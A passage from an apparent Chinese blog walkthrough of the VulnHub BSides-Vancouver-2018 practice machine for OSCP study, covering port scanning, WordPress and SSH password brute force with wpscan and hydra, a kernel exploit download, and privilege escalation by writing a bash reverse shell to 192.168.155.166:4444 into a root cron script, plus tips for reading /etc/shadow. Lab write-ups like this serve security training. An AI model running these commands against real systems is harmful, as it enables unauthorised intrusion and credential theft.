当前位置: 首页 > news >正文

OSCP备战-BSides-Vancouver-2018-Workshop靶机详细步骤

一、靶机介绍

靶机地址:https://www.vulnhub.com/entry/bsides-vancouver-2018-workshop%2C231/

靶机难度:中级(CTF)

靶机发布日期:2018年3月21日

靶机描述:

Boot2root挑战旨在创建一个安全的环境,您可以在该环境中对(故意)易受攻击的目标执行真实的渗透测试。

目标:得到root权限&找到flag.txt

作者:DXR嗯嗯呐

二、信息探测

1、目标IP发现:

得到IP:192.168.155.188

2、端口扫描

nmap -p-  --min-rate 1000 -T4 192.168.155.188

nmap -p21,22,80 -sV -sC -A  --min-rate 1000 -T4 192.168.155.188

三、Getshell

端口扫描时发现

连接ftp:

最终找到:

保存下来

没有其他信息了,退出

拿去爆破一下ssh

很遗憾,不支持密码认证

回头又去爆了一下ftp,无果。只能看站点了

源码没有东西,进行路径扫描

dirsearch -u http://192.168.155.188/

访问得到:

又是wordpress,访问得到

没什么东西,继续扫描:

版本号:

权限有设置,只能看一些不重要的

登录页面:

Bp爆破呗:

只有john

密码不对,应该是字典太小了,就是这个思路,换个大字典应该可以

就是kali自带Bp老的线程太慢了,用wpscan弄一下

又看到admin,两个用户了

wpscan --url  http://192.168.155.188/backup_wordpress

枚举可能用户:

wpscan --url http://192.168.155.188/backup_wordpress/ --enumerate u

爆破密码:

wpscan --url http://192.168.155.188/backup_wordpress/ --passwords /usr/share/wordlists/rockyou.txt  --usernames john  --max-threads 100

得到john/enigma

拿去登录一下:

找到文件上传点:

找到自带反弹脚本:

改一下IP和端口

嗯不行

换回老地方:plugins(当然外观404也是很经典)

在这里找到:

点进去一路访问:

生成交互式命令行

python -c 'import pty; pty.spawn("/bin/bash")'

四、提权

内核提权

查看发行版:

12.04很常见了,存在内核提权的

searchsploit -m 37292.c

wget http://192.168.155.166:442/37292.c

很遗憾失败了

ssh连接su提权

Cat /etc/passwd

su john但是身份验证失败

保存一下:

hydra -L user1.txt -P /usr/share/wordlists/rockyou.txt -t 4 192.168.155.188 ssh

su直接提权

完成

定时任务

列出与系统定时目录相关的文件和配置:

ls -la /etc/cron*

echo ‘#!/bin/bash’ > cleanup

echo ‘ bash -i >& /dev/tcp/192.168.155.166/4444 0>&1’ >> cleanup

重开监听

等待获得root权限

题外话,贴一点tips

getshell后查看命令:

1、查看发行版:

      cat /etc/os-release

2、列出与系统定时目录相关的文件和配置:

      ls -la /etc/cron*

3、cat /etc/passwd  cat /etc/shadow

4、查看可以以root权限执行的命令

      sudo -l

5、查看可以以所有者身份执行的程序

      find / -type f -perm -4000 -user root 2>/dev/null

http://www.lqws.cn/news/98947.html

相关文章:

  • Vert.x学习笔记-Verticle原理解析
  • Java数据校验:确保数据完整性和正确性
  • Modbus转Ethernet IP赋能挤出吹塑机智能监控
  • ChatGPT实战嵌入式开发应用指南与代码演示
  • 笔记本/台式C盘扩容:删除、压缩、跨分区与重分配—「小白教程」
  • 调用.net DLL让CANoe自动识别串口号
  • [Java恶补day14] 56. 合并区间
  • SQL 筛选出在表1但不在表2中的数据
  • Express 集成Sequelize+Sqlite3 默认开启WAL 进程间通信 Conf 打包成可执行 exe 文件
  • 【Redis】set 类型
  • qt控制台程序与qt窗口程序在读取数据库中文字段的差异!!巨坑
  • MySQL 如何判断某个表中是否存在某个字段
  • 基于PostGIS的GeoTools执行原生SQL查询制图实践-以贵州省行政区划及地级市驻地为例
  • React从基础入门到高级实战:React 高级主题 - React设计模式:提升代码架构的艺术
  • 结构性设计模式之Composite(组合)
  • Spring AI 项目实战(一):Spring AI 核心模块入门
  • MongoDB数据库学习
  • 宇树科技更名“股份有限公司”深度解析:机器人企业IPO前奏与资本化路径
  • 业态即战场:零售平台的生意模型与系统设计解构
  • EtherCAT背板方案:方芯半导体工业自动化领域的高速、高精度的通信解决方案
  • 定时器时钟来源可以从输入捕获引脚输入
  • RK3568-移植codesys-runtime
  • 【RabbitMQ】- Channel和Delivery Tag机制
  • 『React』组件副作用,useEffect讲解
  • 灵活运用 NextJS 服务端组件与客户端组件
  • Dify:启动 Web 服务的详细指南
  • CSS 平铺+自动换行效果
  • IT运维工具推荐
  • Web前端为什么要打包?Webpack 和 Vite 如何助力现代开发?
  • 统信 UOS 服务器版离线部署 DeepSeek 攻略